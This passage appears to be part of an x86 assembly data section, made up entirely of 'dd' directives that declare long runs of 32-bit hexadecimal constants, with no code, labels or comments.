		dd 0AE0E8D6Fh, 0A4579715h, 0E881B135h, 63C053E0h, 49F30017h
		dd 830EA9B0h, 0ED0FE481h, 8A072Ah, 0CEE13B4h, 0B98903D3h
		dd 96698F06h, 0D4E73EB8h, 74315F00h, 0B1EE8623h, 0C05901C8h
		dd 0ABB8CEDCh, 0F6D4F8A5h, 0DA038E07h, 4A408D3Fh, 5E64832h
		dd 87B94B89h, 0C083019Ah, 0FC6B99F5h, 0C318F95Bh, 31189614h
		dd 0DB750046h, 0D611AEE8h, 72EFE64h, 0E00003BEh, 5F589881h
		dd 4C41002Bh, 16EDF866h, 34006D6Ah, 65DBE015h, 7FA87B21h
		dd 55D98BAh, 0EE8FE83Fh, 13208091h, 6338B830h, 486A0047h
		dd 0D6075C1Dh, 6D8805E3h, 4FB6F2h, 307246B4h, 25004C8Ch
		dd 89E7B9F9h, 3D9D2DD4h, 46801584h, 0EC41EA0Dh,	5F00B479h
		dd 0EFD10397h, 0FBCED8AFh, 7198E450h, 0C38401A5h, 0B035C61Ah
		dd 0F8FEC927h, 1500F40Ch, 0DDE39166h, 0C49085h,	0D94A1617h
		dd 757EA1BCh, 7C25E225h, 0E1CC0079h, 521F6D5Ch,	12FAF7FAh
		dd 4DE4B003h, 0BAE7199Dh, 118642Bh, 78844B8Dh, 30B0E669h
		dd 6A036D32h, 9141CAD4h, 0C1C8F09Ch, 0C95B0172h, 14587C70h
		dd 0A78424E8h, 0E0306900h, 0C840B144h, 5B8000BFh, 5C883CC5h
		dd 3106DB6Bh, 5A950D2Eh, 638E06E0h, 11B99FE9h, 8EED400h
		dd 647C8A21h, 19576053h, 93ECACF4h, 68FC8C30h, 1FF64873h
		dd 80D621A8h, 3397169Ch, 0BC0050B7h, 698D862Fh,	0E273530Dh
		dd 1440039h, 50067FDFh,	0C0F8C2A7h, 510009B0h, 0FD577276h
		dd 2481B9h, 2B686B52h, 45934D74h, 0F004F537h, 0C980D005h
		dd 18CC9B7h, 0F96A1514h, 80A22EA7h, 2724A320h, 9062B076h
		dd 728701E9h, 45E88E16h, 8BCDEC61h, 40D0C551h, 553FAA94h
		dd 3D3A890Fh, 5C033DE3h, 908AAD34h, 79A2B1h, 0EBD68DA4h
		dd 0C22C3328h, 0AE838903h, 0F86A201Eh, 7055CBh,	0ECDA4E30h
		dd 0D1FAB7A8h, 2E169900h, 7D8E0EA6h, 95F11E15h,	0DF0780BBh
		dd 59CC5AA5h, 8F09CF3Bh, 684582h, 3B49B676h, 84E31E07h
		dd 0A30E4F0h, 0A47269h,	0D757D4E5h, 0E0002D09h,	158B39A9h
		dd 2C936EB2h, 0CC05C1h,	0D3A4ADFFh, 0B800D5E9h,	0AADEDC8Eh
		dd 14287EEh, 0C32A5D3Fh, 0D4B349A1h, 4D1F2176h,	9FC0FCF7h
		dd 383F8462h, 1FF027h, 0FB4C5CCEh, 5B16496Ch, 6A9E191Ch
		dd 0F8228A0Ah, 7E69A180h, 7A4634C2h, 59137A1Bh,	7800CC0Fh
		dd 0F09862BDh, 0F5172854h, 6400D8AEh, 0A575219h, 0BDD30095h
		dd 662F1C83h, 0A700049Bh, 3D4C12CDh, 0B6AD70h, 3327ECBAh
		dd 1A35E3Bh, 1EB3D703h,	0B3147CFh, 4A62E181h, 5F17F020h
		dd 1A027ECAh, 5393C865h, 75FCC8C3h, 3B941910h, 0E39D11CBh
		dd 23FB05B0h, 286AA00h,	0AF38D542h, 7C75CEh, 6EF5759Bh
		dd 22734F0Ah, 40AB6514h, 2DCF1434h, 0E0B30740h,	948E022Ah
		dd 0D8651F10h, 0BCB72F00h, 0A6827334h, 80B56020h, 0AC28B7CFh
		dd 482C3F54h, 0E8B50384h
		dd 0F02DDD2Ah, 2090DFA2h, 0B02ACD7h, 5CEE5125h,	0F88A4005h
		dd 751C0E16h, 0B9C18904h, 0F063BB84h, 0B00FB36h, 8184D40h
		dd 0F254114Fh, 0ED0E0774h, 0B0FDB94Eh, 0B032DE1Fh, 14014A72h
		dd 0C8838FD0h, 0EC03565h, 0AAFAD9h, 593F6CDDh, 58DBC516h
		dd 2172C800h, 0D20DEBBFh, 3DE7784Ah, 7100AD1Eh,	0CDC6481h
		dd 0CB003017h, 767912Ah, 2C78DB3Fh, 682C26h, 0BDB9761Ch
		dd 0EE003ADCh, 0CBDFC5C9h, 46A860h, 34F96DBEh, 28FC93E4h
		dd 0D14E3700h, 0B9852DEAh, 46680060h, 0F97F7DCh, 890011D7h
		dd 2558BA36h, 482E0E5Bh, 46039375h, 2A0614CAh, 12E083A0h
		dd 0FC574A07h, 0E6A44E70h, 7B82F4A0h, 80B009Ch,	596591F2h
		dd 0D300CF64h, 0E68997Fh, 0EE2B03CDh, 1CC75B5h,	5482E4A8h
		dd 0D8331496h, 9C00424Ah, 87F5B3B9h, 20D43E61h,	8A098D08h
		dd 454EFE2Dh, 671A00E8h, 64A95A45h, 0F7BD3D00h,	665725A0h
		dd 5D4F03AAh, 11D3A73h,	56832800h, 611B9B8h, 93D70794h
		dd 900EFDFEh, 0F0868E96h, 872EFF00h, 0BD8DC332h, 0FADD04B4h
		dd 0C0E72039h, 6A66A754h, 0AFACAA00h, 4B91A64h,	63770113h
		dd 0C78CDE37h, 1116C8BFh, 93D94600h, 2556D17Ah,	94E300C4h
		dd 90306C6h, 3A0AADD4h,	9F4F47F8h, 1A006D2Ch, 192B8C5Eh
		dd 0F88048A7h, 0FC956001h, 60273947h, 9416E22Bh, 1400E7BFh
		dd 92D81F68h, 8F0A0529h, 0D0C56673h, 55F0E67Ch,	0E210450Bh
		dd 0A7ACA1EEh, 43EC5CF8h, 1CBC093Dh, 8C202C30h,	3AE94633h
		dd 7E5F2701h, 70B787A2h, 0F382C30h, 6E0A7A8Fh, 4A6CB812h
		dd 4082408h, 0D381E382h, 0B0970E4Ch, 0C6AB596Ch, 63055BFCh
		dd 3479A6B2h, 0D0067C80h, 0B7810BEAh, 807774FDh, 3DAF4A4Fh
		dd 48101E80h, 8069DE03h, 0BC721523h, 0EC0C4DC4h, 0DAF14AE2h
		dd 0DE8000CDh, 610637B3h, 8100DB3Ch, 0BE3F8820h, 0C4A7DB1h
		dd 0C022C33Dh, 0ED004F91h, 55B94E0h, 99BDA9h, 0DE9AE2E7h
		dd 8DEF3297h, 0BC1B4Dh,	0FAC7D3CCh, 14035C69h, 980838BDh
		dd 32B917h, 0CE74A7A8h,	0ED0A3399h, 9CE4CCE9h, 4280AB9Ch
		dd 0C2FD6760h, 6D840059h, 0EB0F0D36h, 5501FE31h, 8AD74FF9h
		dd 8171982Eh, 73845983h, 0A97D2F61h, 36C4DD00h,	4C0A66D1h
		dd 576B0055h, 9B54CD82h, 8500DAC8h, 2A3A3E27h, 0E55A9Ch
		dd 46CC2F41h, 4B5CDC6h,	0BD0AB2E2h, 0E888EF1Ch,	1D698683h
		dd 7482A043h, 3E00927Fh, 0A083F3F2h, 3A7DB9ABh,	2A5C70D0h
		dd 0D89589C0h, 7577C1h,	1F816943h, 3347025Eh, 0B7A12106h
		dd 49E419h, 28224E65h, 0E1E52073h, 0F5B95000h, 5296332Dh
		dd 0F1230018h, 0D6FB6D99h, 0A100B3C6h, 0B17AE41Bh, 0F9A975h
		dd 91124CC7h, 355E692h,	0F2DAD100h, 16FA19B9h, 99F50F9Fh
		dd 40604913h, 76334B5Dh, 7C31AB00h, 0BC415EFBh,	0D8F00CCh
		dd 0DAFF474Dh, 0DE7CFA45h, 919BF60h, 604A53EBh,	0D74811C1h
		dd 0DF002C06h, 4ED6FEAAh, 52A40EEh, 33E9EBAFh, 0C9E85C82h
		dd 0D4C04B4Fh, 1824C5CEh, 0C244E017h, 0A918C0FEh, 51589F5Eh
		dd 794000F7h, 0B0997889h, 3A530E27h, 0FEC22829h, 5CE0F5BBh
		dd 1F82E72h, 48C2C600h,	699283A5h, 177E7324h, 16CDE17h
		dd 0E65553A8h, 806DCD08h, 0EE862E10h, 0B444FFh,	0C7A90392h
		dd 4963076h, 0D484F61Ch, 5A0098E8h, 14AB5426h, 0F7B883Eh
		dd 3483084Ch, 9619D60h,	0CD007189h, 1A30C0EAh, 997B6Eh
		dd 9A81B66Fh, 727F07CFh, 765BD307h, 843AFDF8h, 8500E093h
		dd 0CB74605Dh, 0AFA600D2h, 681BB5FEh, 0EF3A169Dh, 90C7AA1Eh
		dd 0B3EE4900h, 419A7DA2h, 0E5E4ABh, 12C45927h, 0ADE1CCDCh
		dd 0A58CE000h, 16CF08E2h, 5FDA00A4h, 0EAA1576Dh, 70029EDh
		dd 37EFD631h, 7A1E1035h, 0BD56006Bh, 17DB87B6h,	0AB312620h
		dd 0C02F3076h, 1BEF6D0h, 23C4D670h, 0F7E66057h,	7B442100h
		dd 849BF472h, 2AD80FF7h, 45637FC1h, 198925Bh, 0FF0AC5EAh
		dd 0FC75F3D7h, 0F8BD6C80h, 0CA26C9h, 4BA2ED1Fh,	0B0E378C3h
		dd 800A2C12h, 0BB519020h, 0E011D339h, 0F90F50CAh, 1D4869h
		dd 0B10F6F7Ah, 3CED48FCh, 59870671h, 682D1C68h,	6003F76h
		dd 4CDFA9D1h, 0F49CFh, 45A65086h, 8E4320A7h, 0DC116900h
		dd 6331A09Bh, 0E3A103CEh, 0FE7C798Ch, 3F8825FBh, 9907CDE9h
		dd 0EE3194DFh, 0BB4823F0h, 0A77B586Fh, 54D22B00h, 0C5DAE85h
		dd 696C9B00h, 0FB90371Fh, 1303022Fh, 0D2EF87E2h, 0AC405A62h
		dd 0AE0036D1h, 0E62270C6h, 874212h, 0BA045383h,	0F0B0E564h
		dd 0C5F7EC00h, 43087BA0h, 7EC800E6h, 5D25B29Bh,	0E401D822h
		dd 75FCB6F5h, 0BEE81B9Ah, 0BCD00069h, 671F7678h, 0A8018611h
		dd 4609CDDEh, 837016E2h, 0D3F904E8h, 0C36095DDh, 0EEC04DF3h
		dd 4C3E9115h, 8F9BB842h, 20518E61h, 0CA0C704h, 0B02E00FDh
		dd 0E2672269h, 0FC717D73h, 288F241Dh, 0A3098E80h, 39CE6972h
		dd 738085EDh, 126698B1h, 0A40058F9h, 0A6F17BC7h, 0C017B9D3h
		dd 0C064B211h, 787E0947h, 8E004BF2h, 2D75805h, 0ECD818h
		dd 5C54B3ACh, 0DCCB0450h, 8092D039h, 902631BEh,	742B602h
		dd 2A0FBCE0h, 7F514055h, 4A005E76h, 97ECFB1Eh, 3C01CC0Ch
		dd 368006F8h, 78956F7Eh, 8A0753C4h, 0D8F2C63Ah,	0A6C035F5h
		dd 29FC791h, 0B4A5D9DDh, 0EC683476h, 0D6007FCDh, 1C48397Dh
		dd 9504F4Dh, 0CF8C8A43h, 0C0D588C3h, 61CA7908h,	80031C3Ch
		dd 9E6AA3E9h, 332C71h, 0B4B20B28h, 183D8EA5h, 0BC012209h
		dd 9C455Dh, 7F3130CDh, 0C81D6582h, 0D4061274h, 3E2061ACh
		dd 0DF3E4A75h, 7001EB0Bh, 7D82FCAFh, 0AC4884D3h, 0DF0EF908h
		dd 81E90A62h, 0A61C9206h, 6DD8E0h, 0A9D0882Ah, 0FFE046EDh
		dd 64C67601h, 0C471940Bh, 65B74083h, 68007B10h,	0A68C730h
		dd 3C1CE77h, 51C634C8h,	0CDE01075h, 73603145h, 0D874E628h
		dd 48775401h, 0E0FA86F8h, 0C62A6200h, 3A404703h, 0F99D00F0h
		dd 873C9AEFh, 51004131h, 188D2221h, 10B6A8h, 302D6BFEh
		dd 5CC67E62h, 3AC9FC13h, 0AECB1300h, 0B7A635h, 7FE0A798h
		dd 976ED3C6h, 0ED61358h, 80CFEC88h, 2CC06775h, 0C3190761h
		dd 906F866Eh, 0C70566CCh, 6A706200h, 65928B40h,	6278972Ch
		dd 0A9435100h, 0A6020650h, 0CF82002Dh, 0BC4A30B2h, 8600CA83h
		dd 0E7E96DE2h, 0FAD8FC5h, 3077AAB1h, 4ADDAEA0h,	9F183B07h
		dd 0A92019BAh, 0A79100B8h, 75D4E945h, 0CF009466h, 0CE161FDDh
		dd 543CA0h, 6178B1AAh, 7997D4F8h, 22A62D0Fh, 0DF81A1FEh
		dd 0C244D13h, 71DE032Eh, 10ADB7C9h, 98C5CF81h, 8B212308h
		dd 0CA7107D6h, 0B7B30E7Ch, 0F73E0063h, 4E03012Bh, 0AC25CE09h
		dd 0AF675h, 0B04838F3h,	368C4F05h, 48609830h, 0A886B5F7h
		dd 0F2ABA7DCh, 0E5B60C7Ch, 9B693914h, 8D18130Eh, 0C346602Bh
		dd 183405F9h, 3987350Ch, 69E8BA81h, 11322937h, 0E00DC7F0h
		dd 2AA806B3h, 8C0AB85h,	0F5211F60h, 0F40DCEh, 12049E22h
		dd 0F65125B6h, 58DF2F30h, 0C63A721Dh, 698FD781h, 77B41912h
		dd 2B9CE000h, 727347BAh, 5EAC03D9h, 701651C8h, 90C840FEh
		dd 0DC3C07Dh, 0C846B3DCh, 0F1072622h, 0BC200DCAh, 0C806B540h
		dd 1024A3D6h, 0EA4858h,	34D53C99h, 0FE677A2h, 3901CA95h
		dd 728A9060h, 8BECB7E0h, 41ED861Ch, 4E9ADE80h, 222E16h
		dd 23639DD1h, 3545F252h, 1DDAAA07h, 2400ED02h, 537308h
		dd 0D1011C59h, 1FEEB16Ch, 38B7DD00h, 8A3745FCh,	3E7108h
		dd 6AEBE32Bh, 62D92D7h
		dd 5E0063F6h, 7E044B94h, 158D01h, 0D4F8B28h, 0D4736156h
		dd 0CF956000h, 4ABC5176h, 0E53B0074h, 0AA5B04D1h, 3F00DFFCh
		dd 0B54435F0h, 9AA541h,	7BF5E8DBh, 0E41F3E1Bh, 11EE93Dh
		dd 8D48C40Bh, 0B3C4961Dh, 0FE41FAE3h, 4AB501F6h, 0EA7E6D17h
		dd 15CBFC4Dh, 1B00C6E0h, 6E85A366h, 415EF0h, 8FD418B2h
		dd 719CD5FDh, 74707C0Bh, 2BE180C6h, 0DE4191h, 121F920Fh
		dd 8C941D5Fh, 1708D200h, 302BD68h, 91E001B2h, 69A9D543h
		dd 0F380DF39h, 5000FCB4h, 8FF67507h, 995517h, 45844FCFh
		dd 828C0983h, 7503107Ch, 0B4ED6405h, 0B95B90ABh, 7F6F03C2h
		dd 3C139E3Fh, 2576100h,	2EE14636h, 9808C319h, 1DC0A8F5h
		dd 174CACD6h, 8A3874DEh, 388580FAh, 895CCC99h, 86F40Dh
		dd 0F0A854D5h, 0CE7C55D1h, 6EFA3076h, 0EF884C60h, 35026Ah
		dd 3623D43Bh, 0BF6371CBh, 0C2545107h, 17B0D06Eh, 0D11B3Ah
		dd 5850FD3Bh, 0A41F3D7Dh, 6F78F800h, 61C015EFh,	0D9772690h
		dd 78E00D6h, 18A42C23h,	2D63AB00h, 7365382Fh, 20220074h
		dd 346B87DDh, 3D54A194h, 4877F588h, 0C9024601h,	20D19CEDh
		dd 0C162430h, 0E93329A7h, 8A00B138h, 71ACEAEBh,	0D86F2Ah
		dd 0B67FEDCFh, 4396F25Eh, 232098C0h, 0FFC1C3h, 0D1D6B4A6h
		dd 269491Dh, 0EEEE8F7Ch, 8755F500h, 0CE78E672h,	0C184004Ch
		dd 0E0B1BC0Eh, 21308070h, 6C8A70FBh, 0D18E00CCh, 6E6D16A5h
		dd 0E7009C25h, 7A0F81F0h, 1C9B4CFCh, 3CE90EC8h,	0F61D6400h
		dd 2A75E87Eh, 874A2205h, 0E4003398h, 0BE215723h, 3DF0C039h
		dd 0F6E7A8C8h, 0C703C671h, 0E2790B38h, 0DB7E90EAh, 4285021Bh
		dd 0A1B10ED4h, 2502B981h, 0E051600Ah, 0FFA89300h, 7C130D59h
		dd 69EE0056h, 570140FDh, 0E0754783h, 84199400h,	909C1F5Dh
		dd 4BD801DEh, 0E8E5EFF5h, 8114DD7Eh, 0B24E6388h, 0F085AFB3h
		dd 803F9EC8h, 84C9E5CDh, 5FF78600h, 7E7C7529h, 1009060h
		dd 0E362E7D0h, 50C570F2h, 5AE505B8h, 0DA36A500h, 6C4CD45Ch
		dd 0AF7502BEh, 6F6DFA5Bh, 97F4FCA4h, 7CA32F10h,	0F0EFEC58h
		dd 59C60861h, 0E2247892h, 0C2AD427h, 1EF73000h,	0FD6D0B2Ah
		dd 0C0774Bh, 982447FEh,	5B8A04E3h, 0AA4F0800h, 0FC5AB9E7h
		dd 0F1760093h, 0FA3C1D71h, 7D0ADBCDh, 83F25F4Bh, 0E5B01E18h
		dd 9ACC80E4h, 8B5B3401h, 0B672BEBCh, 0F09B9EECh, 4EE2013Ch
		dd 0F6138CADh, 7207C073h, 0CF77E300h, 0EEB3F826h, 0C23C00EFh
		dd 0F1E3ADDh, 520114C1h, 78B60AD6h, 0B2DCE425h,	0DBD03DA5h
		dd 0BA534100h, 0EB73F12Bh, 0F2263490h, 9A0FA6BEh, 89F720FAh
		dd 7F577Eh, 384A790Eh, 927A4BD5h, 0C5F9C02h, 6820A5BBh
		dd 72C180h, 0D7FE0978h,	6A6EAE88h, 0E123C500h, 82AF9D3Bh
		dd 0FC60F1B2h, 49757FA2h, 1B05C49Eh, 400FC06Bh,	0B84E8CB4h
		dd 0FB395429h, 66942C72h, 7C1C803Ah, 6670BCFDh,	90230140h
		dd 4DEE3380h, 5F5860C0h, 7B9FAD5Ch, 0C2984300h,	7923960h
		dd 4869039Ch, 1715AC3Dh, 3B14BDD8h, 0F304D500h,	0B327F275h
		dd 58F00E7h, 0E0D24157h, 0C3006583h, 28BEE645h,	9916B9h
		dd 5BC10C97h, 31D9FA25h, 0B088F62Eh, 0FF83A001h, 0FF17E79h
		dd 0C8DACCh, 2C7A37D5h,	9704FC21h, 5CF3A600h, 0A317E890h
		dd 889E074Eh, 409F7156h, 0A5FB27E6h, 4FE6000h, 0C1994376h
		dd 1033130Fh, 0E0684045h, 64625078h, 0C94EC002h, 4121CD0Bh
		dd 86E4555Ch, 766F00F6h, 0EAA6A995h, 457883D6h,	7882A700h
		dd 9D18A8DDh, 3B87C6Bh,	78B5789h, 0C8F0A24Ah, 98002A61h
		dd 0C715E8EFh, 0B0372132h, 24E600D2h, 0F6DA3F7Eh, 0AF077020h
		dd 634942CCh, 0CECDCA20h, 0D63E04C4h, 80FD9291h, 457822AEh
		dd 1EAEC800h, 1BA2BB09h, 0AF610316h, 44FF6991h,	84EEF2F0h
		dd 6E091D00h, 0E68ED203h, 0EBB13CDCh, 1FD624F0h, 63990024h
		dd 0C3AB58EDh, 85C97C02h, 481C1265h, 5E1ABCh, 98780757h
		dd 0EED9E2CFh, 67C6230Eh, 42CB80F8h, 74CA3FEh, 0D4B5D78h
		dd 0AA033983h, 2100FF70h, 92515E7Ch, 0E2FE4543h, 3CBB3B2Bh
		dd 0CF5D2280h, 74534D01h, 0FDE87801h, 89A82875h, 0CF1CC450h
		dd 0BC3E3E11h, 81B101F9h, 6A65B578h, 3653E89Ah,	0E9352Eh
		dd 0F3112680h, 44D7F4h,	0BAEC1DE6h, 92DE2103h, 52EB0A0h
		dd 0D307D0B0h, 0F135EB26h, 8D61C5F0h, 859600A6h, 2102FA7Fh
		dd 0DDFCAF18h, 0CA48D560h, 0EC6855h, 3A24C484h,	0CE28B167h
		dd 3E10400h, 0C91CD3EBh, 7FFA9Fh, 0DE5615BAh, 824F0729h
		dd 0C514CD00h, 0B4BEF08Eh, 0ECE84Ah, 0CAAC834Dh, 65874ED0h
		dd 2BE16B07h, 32D02289h, 0F7DFB2Dh, 869A105Ah, 0BFE83C03h
		dd 78DDE590h, 77AA0D00h, 0DB56D24Dh, 0B3610E34h, 864064C4h
		dd 1337C7F4h, 0E4FAD000h, 699A948Ah, 491E0006h,	48AE6E6Bh
		dd 840062F5h, 0D7E63D9Ch, 26BAA47Ah, 0D6C7DBh, 0C4E7A08Bh
		dd 6A0EF1F9h, 0A2F3FF61h, 40763B3Eh, 2C86BE9Ch,	8B9019FAh
		dd 0B980D521h, 94F0B94Fh, 0AC9BA900h, 0B30B1D03h, 92A01777h
		dd 0CB400086h, 202D885Bh, 0AA008FEEh, 0EFF9AE9Dh, 11889CDh
		dd 3CA9E825h, 0E9B52BF1h, 0A448201Dh, 0A3C22D00h, 1638CCC6h
		dd 0D4490084h, 5FCF0FACh, 4E758B31h, 0B1F2A700h, 3A7A8076h
		dd 0A2F71DDFh, 2C8EC0A4h, 9902FE27h, 886EA603h,	80C54D57h
		dd 1660DFh, 0BD4CAC20h,	0F95C99FCh, 0B1256F04h,	0BFC07833h
		dd 0EB70CBCh, 0A528688Ch, 0CB9FDE20h, 2324C71Ch, 0D1D0910h
		dd 961CC026h, 84E5FC03h, 0F8110027h, 86C6EDFBh,	1D0E2C3Bh
		dd 0DC099ED4h, 53010E00h, 7F9F46h, 0EA5B924Bh, 20DC4C66h
		dd 2197F0C0h, 3C1C253Bh, 50601B22h, 41B42362h, 80BC69C9h
		dd 0ADD9A850h, 9070E5h,	465B2517h, 0FC8F4807h, 0F2809760h
		dd 509FC395h, 2A9E2482h, 17AC1C63h, 0E3B1999h, 909911B0h
		dd 0F6144081h, 55000DB9h, 27E83704h, 0B0EC8A5Ah, 0A570B6h
		dd 0B109E925h, 3673C7B8h, 0DBA3E0C0h, 0B560FF3Eh, 0F39CD1C0h
		dd 3500B198h, 4178ADB0h, 0E799087h, 84D3F1DEh, 545C5100h
		dd 570077A8h, 676C9D55h, 72D1F53h, 0BB3B7021h, 3882C0B8h
		dd 0C9397579h, 9526041Eh, 2CC7507Fh, 92150FB0h,	52663D98h
		dd 8800553Dh, 6EE7D10Ah, 31000736h, 3996EA8Dh, 17CDB04Fh
		dd 1E6F6394h, 14CC0A15h, 0C9E98084h, 0CD899CD8h, 0FC00127Fh
		dd 9FA9252Fh, 7803984h,	4E673427h, 649E3095h, 18B8CD6Ah
		dd 0B30296F4h, 67825F0h, 49C809Bh, 3C953FF4h, 180097F7h
		dd 1DC1549Eh, 0F8F90983h, 0A1007F13h, 0C98CF9BCh, 15447519h
		dd 0BC21AA11h, 95DA6F00h, 0AE257E85h, 58DD5600h, 0B1E7B4Eh
		dd 9DEB004Fh, 0E8E2C3CAh, 540D95A3h, 0C90CCC71h, 0C2DAFCh
		dd 9FA64B37h, 9363B439h, 0F05C2200h, 0C0C1A779h, 41CD0359h
		dd 19CC1FAFh, 0EA38390Eh, 3000D3ADh, 8369976Eh,	0B8230166h
		dd 18659E41h, 51E0CC8Fh, 0E99A2F32h, 7488811Fh,	1C64F3F6h
		dd 49CB00ACh, 8A0E2351h, 0D7A0CE45h, 8B1C55C1h,	541271Bh
		dd 162A14ADh, 0AF117989h, 677D3810h, 0F64F1505h, 0A400A0DBh
		dd 0CB028C46h, 6CFD1E1Ah, 3CCF809Bh, 0ACC3975Ah, 422EDF07h
		dd 18814638h, 7BE0DC96h, 399E7B81h, 28007EF1h, 0D204BA4Dh
		dd 0A407CDD3h, 0A5C56C2Eh, 37F6043h, 3D0AC20h, 17D8499Bh
		dd 460069F5h, 83EC1342h, 7CC8C3h, 0EEC2F181h, 0ED3CE8D0h
		dd 0B0858C0h, 6A37742h,	0BDC565A1h, 146008B2h, 42A2FA21h
		dd 81F500D7h, 0EC45BEA7h
		dd 0F8B8517Fh, 0AE083806h, 0CEB08F54h, 0A0A12831h, 0E0138771h
		dd 5119DF12h, 0CB78C384h, 42080A18h, 0C409A38Ch, 0A1FF4021h
		dd 2534842h, 9EF04C26h,	8C938430h, 6B881010h, 0FC41DA0Eh
		dd 0E7BEB647h, 1A66F1A2h, 0F7BBDC60h, 7AFF1100h, 0EA3D2D8Eh
		dd 0E5340007h, 0F291AA50h, 3105DC20h, 2FC37FC4h, 7FAE101Eh
		dd 84B97400h, 3E865C12h, 0BA003269h, 394D0D90h,	5838D053h
		dd 10D7300Ah, 3824869h,	550806ECh, 18865CAAh, 34002278h
		dd 0B8A0EA37h, 1D1F12ECh, 0BDB6EE27h, 8529118Fh, 0CB56F9C0h
		dd 81CE412Ah, 74E2E0B4h, 1C0FCAA4h, 40886676h, 7DC1F3E1h
		dd 0FE00B68Fh, 0ED5A2AD4h, 0B2387h, 4AF85B68h, 0B26AC89Bh
		dd 0EF1D983Bh, 186E8098h, 0E3AB5E7h, 0CA1FF5BFh, 3F93B3Fh
		dd 951CA0B6h, 0A90C13DFh, 0FA5A5568h, 0BDBA3D81h, 0CF6DDA00h
		dd 9C7E0945h, 3E82A106h, 3A310CBEh, 8CBCD970h, 0D0B4A907h
		dd 0D12E107Dh, 0CB059D06h, 2F03B6D2h, 5D46C00h,	0F816C38Fh
		dd 0FC800375h, 89FE1C13h, 0D41A09A1h, 35001751h, 0C6CC81E5h
		dd 1DE00529h, 0C16C37F2h, 974340A8h, 0DE1080F3h, 27C76952h
		dd 2E7A061Dh, 88277CBh,	203E6A30h, 0C77137h, 23C262CEh
		dd 0F2F4478h, 3E51CC60h, 1797B4AEh, 6421D40h, 382E847Ah
		dd 7F96F218h, 0E63708h,	0DC721154h, 706FFE10h, 0CA3E53Ah
		dd 6958227Bh, 6149F642h, 0FB5059B7h, 21BC480h, 0CE449E03h
		dd 5E9967h, 9AF82851h, 41C0806Fh, 681CAE00h, 83D4DCADh
		dd 0EDCF036Bh, 38C17CA4h, 2EDAD800h, 4A67F419h,	7E61C0CAh
		dd 383AFCACh, 8E62500Ch, 6C67095Fh, 37420F4h, 364D13Fh
		dd 3C66F1FAh, 6AD93C3Fh, 0ECF8302h, 0A884CC80h,	0C76B6041h
		dd 6A1D2311h, 3DDB08h, 0D8C77335h, 7D3B7183h, 68278064h
		dd 82F6FE2h, 18A1D3D0h,	8B2951D4h, 42ABDA0Eh, 92A560C4h
		dd 0E8DB34F9h, 0A990015h, 9F11429h, 5164904Dh, 866065E8h
		dd 38235503h, 661180h, 3CFC9E8Ch, 864EC02h, 38059812h
		dd 666D1630h, 2C6900A5h, 49098435h, 2403B832h, 0BC228B25h
		dd 3B53B8B5h, 0F9DE068Eh, 78DFDCBBh, 3E44B52h, 595FF6D0h
		dd 0B530F004h, 0F444508Fh, 6E81C0A4h, 36FC72D8h, 0A20DE800h
		dd 2D2F74E4h, 0CEF607D9h, 0B3949142h, 8406F7Bh,	6701AAE8h
		dd 187052E9h, 2A23C72h,	54D700CCh, 3EB9890Ah, 0BF33106Bh
		dd 124084Eh, 0A1C7521h,	20C93694h, 5A0407B6h, 0E2D9CD9h
		dd 50DB9088h, 0CFD81Dh,	27418092h, 50D34AADh, 0CA51F8E3h
		dd 7B5D8300h, 721A9CB9h, 1F40A43Dh, 88860A4Bh, 74586AF6h
		dd 960A0053h, 905EAFD4h, 887A91B2h, 5C15BB0Ah, 1805A47Ch
		dd 0E06071F4h, 0E238FCAAh, 0DE6342A0h, 9E0342C0h, 7298F62Dh
		dd 3E602063h, 0C2D97C00h, 91045ECCh, 0E1F2CAh, 61F7A87h
		dd 0BA391AD6h, 1CEBDB00h, 8BCE7E66h, 96A9C431h,	0A4B49086h
		dd 0AB00D721h, 4AF1B152h, 22E299Fh, 0C4D3FFB4h,	804F692Dh
		dd 0E2CE5A40h, 0E97B1C99h, 460584EEh, 870C8C1Eh, 503C58h
		dd 5138478Ah, 0BBD995h,	469498B3h, 531760A8h, 470010E6h
		dd 0AC3851A1h, 18DEC8C7h, 0C1879793h, 0B300138Ch, 6302E91Fh
		dd 748AF342h, 21796070h, 27B33C4Fh, 9BA83500h, 21FA4DFFh
		dd 0A148C864h, 19B315C0h, 703221E9h, 4D035891h,	52EFB326h
		dd 50323DA1h, 0E48F12A4h, 9B2C6300h, 0A47EF056h, 0E71007FEh
		dd 0E0C89D61h, 0B51B4050h, 9B44CD05h, 3C2BCA36h, 3A007923h
		dd 0A0ACDD9Fh, 62930C3Fh, 1920CC89h, 27799091h,	76006618h
		dd 48C20EC3h, 9A9C3781h, 0B4F91808h, 404C7970h,	42F9CC72h
		dd 4F309134h, 0BAAA110Ah, 80338856h, 230A1780h,	0A35549DAh
		dd 0EF141F8h, 6EAB2076h, 0E8B7051Fh, 443F35C2h,	484499h
		dd 0E6FB5FBEh, 7C66A33Ah, 3E23248h, 75CE575Ch, 1E611C3Eh
		dd 0BBF78487h, 3A48D41Dh, 45F23ACh, 0C3B2790Dh,	1909716Ch
		dd 9091225Bh, 65498700h, 8B18C18Bh, 0E07DC830h,	52BD887Ch
		dd 0E91B2D07h, 84A92251h, 3860902Ch, 0BA29AD0Ah, 81C0A81Eh
		dd 52A0A40h, 0F73F5A22h, 4CBC88B9h, 3EA9CE06h, 0F879247Ch
		dd 0CE89097h, 8EC1F9C7h, 602EE29h, 0CE519173h, 30084472h
		dd 0B0218096h, 0BD0042F8h, 0C096B77h, 4C79F5h, 483CE590h
		dd 3ACA3BA5h, 1C0990B1h, 6437C8h, 0F5C9A7D9h, 0C61CE162h
		dd 0CC2627FBh, 34C2B244h, 0C7683042h, 721D2817h, 405C38h
		dd 15EC770h, 0F6EB8E1Fh, 8C78AC29h, 4930981Eh, 0E16825h
		dd 69BAF340h, 28767866h, 62BE9503h, 0C0C45FECh,	4C7B4004h
		dd 7BE830FEh, 2CDD008Ch, 676E747Ch, 79CFF798h, 8746EEBDh
		dd 0C9104944h, 1DC5AD69h, 928E533h, 0AC041F22h,	0A39608Fh
		dd 46BA23ACh, 7E002B11h, 737C0A41h, 88057655h, 2C449BCAh
		dd 2C88DC85h, 0AF7424h,	8E484AA8h, 0E63FD705h, 8075C63Bh
		dd 797C99CAh, 0FC047AADh, 4C851336h, 0B900210Fh, 42BF1071h
		dd 498B18C5h, 241E59B8h, 4483E200h, 88865094h, 9841E57Bh
		dd 0D9642h, 8AE968F4h, 2CC0A499h, 4C3DB38Fh, 0BF9F0C4Bh
		dd 64B7E780h, 0C44F6315h, 29853439h, 9203A408h,	2E10628h
		dd 0A2953E89h, 1847C81Fh, 5B606D44h, 0B40129A4h, 0A904208Ch
